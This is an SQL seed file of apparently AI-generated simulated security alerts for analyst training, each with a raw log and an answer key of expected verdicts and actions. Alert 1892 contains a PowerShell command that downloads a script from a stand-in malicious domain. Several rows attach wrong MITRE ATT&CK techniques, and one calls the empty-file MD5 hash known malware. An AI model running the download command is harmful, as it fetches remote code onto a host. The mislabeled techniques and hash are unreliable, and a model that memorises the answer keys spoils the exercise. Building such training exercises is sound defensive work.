INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1884, 'Potential Phishing Email Detected', 'medium', 'Darktrace', 'An email was received containing a suspicious URL. Further investigation revealed it was a test email from an internal security team.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jane.doe@company.com\",\"hostname\":\"mailserver1\",\"email_sender\":\"security@test.company.com\",\"domain\":\"company.com\",\"url\":\"http://test-phishing.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"security@test.company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Email Systems\",\"verdict\":\"clean\",\"details\":\"Email from internal security team for training purposes.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://test-phishing.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL used for phishing awareness training.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was part of an internal phishing simulation test.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1885, 'Unauthorized Application Execution Alert', 'high', 'Corelight', 'Execution of an unauthorized application was detected on an internal server. This was part of a software update process initiated by IT.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"it_admin\",\"hostname\":\"server02\",\"command_line\":\"/usr/bin/update-software\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP performing authorized tasks.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/update-software\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Software Repository\",\"verdict\":\"clean\",\"details\":\"Command is part of a standard software update process.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution is part of a legitimate software update.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1886, 'Suspected Data Exfiltration Attempt', 'high', 'Suricata', 'A high volume of outbound traffic was detected from a user workstation. This was later identified as a routine data backup operation.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.50\",\"username\":\"backup_user\",\"hostname\":\"workstation07\",\"request_body\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal workstation performing authorized backup.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Destination IP is a trusted backup service provider.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic is part of a scheduled data backup to an external provider.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1887, 'C2 Beaconing Activity Detected', 'critical', 'Wireshark', 'Suspicious outbound connections were detected indicative of command and control activity. Analysis confirmed malicious intent.', 'C2 Beaconing', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"195.23.45.78\",\"username\":\"unknown\",\"hostname\":\"compromised-host\",\"request_body\":\"\",\"command_line\":\"\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"195.23.45.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected activity is consistent with command and control operations by known threat actors.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1888, 'Unauthorized PSExec Usage Detected on Internal Network', 'medium', 'Zeek', 'An internal IP was observed attempting lateral movement using PSExec. No known malicious activity reported on the internal IP.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.10\",\"dst_ip\":\"10.1.1.20\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"psexec \\\\\\\\10.1.1.20 -u admin_user -p password cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address, no external reports\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.1.1.20 -u admin_user -p password cmd.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"clean\",\"details\":\"Routine administrative command execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was conducted by an authorized IT admin performing maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1889, 'External Network Scan Detected', 'low', 'Suricata', 'Multiple network connections from an external IP were flagged as suspicious but identified as part of a routine vulnerability scan by a trusted third-party vendor.', 'Scan', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:35:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"198.51.100.2\",\"dst_ip\":\"192.168.1.100\",\"username\":\"N/A\",\"hostname\":\"N/A\",\"request_body\":\"N/A\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP belongs to a trusted security vendor conducting authorized scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"scan\",\"analysis_notes\":\"The IP is part of a scheduled vulnerability assessment by a known vendor.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1890, 'Suspicious Email with Benign Content', 'low', 'Proofpoint', 'An email was flagged for suspicious content but was confirmed as a marketing email from a legitimate source.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.30\",\"dst_ip\":\"192.168.2.5\",\"username\":\"jane.doe\",\"hostname\":\"workstation01\",\"email_sender\":\"marketing@trustedsource.com\",\"request_body\":\"Check out our new products at https://trustedsource.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"marketing@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Email address verified as legitimate marketing contact\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Website is verified and safe with SSL certificate\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"This email was a legitimate marketing communication.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1891, 'Routine System Health Check Misinterpreted as C2 Beaconing', 'medium', 'Darktrace', 'Regular system health checks were mistaken for C2 beaconing due to their predictable pattern and external connections.', 'C2 Beaconing', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"203.0.113.50\",\"username\":\"system_check\",\"hostname\":\"monitoring_server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"IP associated with monitoring services, no malicious reports\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system health monitoring\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The network traffic was part of routine health checks performed by internal monitoring systems.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1892, 'Suspicious PowerShell Execution Detected', 'high', 'Wireshark', 'A suspicious PowerShell command was executed from an internal machine, indicating potential misuse.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.15\",\"dst_ip\":\"N/A\",\"username\":\"user123\",\"hostname\":\"comp02\",\"command_line\":\"powershell.exe -NoProfile -Command \\\"Invoke-WebRequest -Uri http://maliciousdomain.com/script.ps1 -OutFile C:\\\\temp\\\\script.ps1\\\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -Command \\\"Invoke-WebRequest -Uri http://maliciousdomain.com/script.ps1 -OutFile C:\\\\temp\\\\script.ps1\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL linked to malware hosting\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command and URL are both associated with malware activity, indicating a true positive.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1893, 'Suspicious C2 Beaconing Detected', 'high', 'Zeek', 'A potential C2 beaconing pattern was detected from an external IP to an internal host. This could indicate a compromised machine communicating with a malicious server.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:34:56Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.101\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for C2 activity, indicating a likely compromise.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1894, 'Routine IT Vulnerability Scanning Detected', 'low', 'Suricata', 'Network traffic patterns characteristic of vulnerability scanning were detected from an internal scanning server. This aligns with the scheduled IT security audits.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"scan-server\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for vulnerability scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is consistent with routine internal scans.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1895, 'Misconfigured Legacy Application Traffic', 'medium', 'Corelight', 'Anomalous traffic resembling C2 communication was generated by a legacy application due to misconfiguration. No malicious indicators found.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.100\",\"dst_ip\":\"198.51.100.25\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-server\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic pattern is due to a known issue with the application configuration.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1896, 'Authorized Administrative Backup Detected', 'low', 'Darktrace', 'Large volumes of data transfer were detected from a file server to an external backup service. The activity matches the scheduled backup processes.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backup_admin\",\"hostname\":\"fileserver-02\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for backup\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"External backup service IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data transfer aligns with known backup schedules, indicating no threat.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1897, 'Benign System Health Check Traffic', 'low', 'Wireshark', 'Detected network traffic from an internal monitoring tool performing standard system health checks. No malicious indicators were found.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:50:20Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"\",\"hostname\":\"monitoring-tool\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for monitoring\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected traffic is consistent with scheduled health checks by IT.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1898, 'Unauthorized Lateral Movement Detected via PSExec', 'high', 'Darktrace', 'An internal host attempted unauthorized lateral movement using PSExec. The activity was detected between two internal systems.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.60\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-SERVER01\",\"command_line\":\"psexec \\\\\\\\10.0.0.60 -u admin -p password cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a finance department workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a finance department server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.60 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command often used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with administrator credentials indicates a potential unauthorized access attempt for lateral movement.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1899, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'Network traffic pattern resembling vulnerability scanning was detected. This matches the known schedule for routine IT scans.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"scanner\",\"hostname\":\"IT-Server\",\"command_line\":\"nmap -sS 192.168.1.101\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to IT department\'s scanning server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to a network device routinely scanned for vulnerabilities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Nmap scan detected, part of scheduled vulnerability assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches the schedule for routine IT vulnerability scans and poses no threat.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1900, 'Authorized Administrative Backup Traffic', 'low', 'Corelight', 'Data transfer detected between servers, matching the pattern of scheduled administrative backups.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.51\",\"username\":\"backup_user\",\"hostname\":\"BACKUP-SERVER\",\"command_line\":\"rsync -av /data 192.168.1.51:/backup\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is associated with the primary backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.51\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is associated with the target backup storage server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -av /data 192.168.1.51:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Rsync command matches scheduled backup operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected data transfer is consistent with scheduled administrative backups and requires no further action.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1901, 'Misconfigured Legacy App Generating Excess Traffic', 'medium', 'Suricata', 'A legacy application is generating excessive network traffic, resembling potential data exfiltration.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.100\",\"dst_ip\":\"203.0.113.10\",\"username\":\"legacy_user\",\"hostname\":\"LEGACY-APP-SERVER\",\"command_line\":\"legacy_app --export-data --target 203.0.113.10\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP associated with a trusted partner\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"legacy_app --export-data --target 203.0.113.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches routine data export operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert was generated due to a misconfigured legacy application, but the external IP is trusted, and routine operations were confirmed.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1902, 'System Health Check Triggering Suspicious Activity Alerts', 'low', 'Wireshark', 'Network traffic resembling a potential attack was detected, originating from a routine system health check script.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"192.168.3.20\",\"username\":\"sysadmin\",\"hostname\":\"HEALTH-CHECK01\",\"command_line\":\"ping -c 4 192.168.3.20\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to a system performing routine health checks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is a target device of routine health checks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"ping -c 4 192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Ping command is part of routine system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected network activity is consistent with routine system health checks and poses no threat.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1903, 'Unauthorized Remote Access Attempt Detected', 'medium', 'Zeek', 'Anomalous remote login attempt detected from an external IP address, potentially indicating a brute force attack. Multiple failed login attempts reported.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.15\",\"username\":\"admin\",\"hostname\":\"server01\",\"failed_attempts\":12}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 15 times for suspicious activity but no confirmed attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username for administrative accounts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login attempts were from a known IP range used by a legitimate external monitoring service.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1904, 'Routine Network Health Check Triggered Data Exfiltration Alert', 'low', 'Suricata', 'Network activity resembling data exfiltration detected, originating from a known internal scanner conducting routine checks.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.25\",\"dst_ip\":\"192.168.1.100\",\"hostname\":\"network-scanner\",\"data_volume\":\"500MB\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Inventory\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal network scanning tool.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Activity aligns with scheduled network health checks; no actual data exfiltration detected.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
